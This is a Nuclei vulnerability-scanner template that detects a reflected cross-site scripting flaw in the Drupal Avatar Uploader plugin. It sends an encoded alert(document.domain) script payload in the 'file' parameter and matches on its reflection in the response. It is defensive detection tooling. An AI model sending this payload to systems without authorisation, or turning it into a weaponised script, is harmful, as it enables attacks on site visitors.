nuclei-templates/http/vulnerabilities/drupal/drupal-avatar-xss.yaml

41 lines
1.1 KiB
YAML

id: drupal-avatar-xss
info:
name: Drupal Avatar Uploader - Cross-Site Scripting
author: bywalks
severity: high
description: |
Drupal Avatar Uploader v7.x-1.0-beta8 plugin contains a cross-site scripting vulnerability in the slider import search feature and tab parameter via plugin settings.
reference:
- https://www.exploit-db.com/exploits/50841
- https://packetstormsecurity.com/files/166409/Drupal-Avatar-Upload-7.x-1.0-beta8-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
tags: xss,drupal,edb,packetstorm
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<div><script>alert(document.domain)</script></div>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200